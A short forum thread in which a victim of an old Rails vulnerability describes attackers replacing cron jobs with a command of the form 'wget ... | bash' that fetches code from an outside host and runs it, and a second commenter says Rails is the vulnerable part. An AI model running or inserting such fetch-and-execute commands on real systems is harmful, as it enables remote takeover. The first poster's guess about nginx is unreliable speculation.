News for hackers. Stuff that matters.

A comment on Exploitation of an old Rails vulnerability.

Re:Exploitation of an old Rails vulnerability by boonez123 on Monday May 27, 2013 @06:11PM (#5776868)
In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.
[ Parent | on HN ]
Re:Exploitation of an old Rails vulnerability by meowface on Tuesday May 28, 2013 @12:20AM (#5778029)
If you're running Rails, then it's Rails that's vulnerable.
[ Parent | on HN ]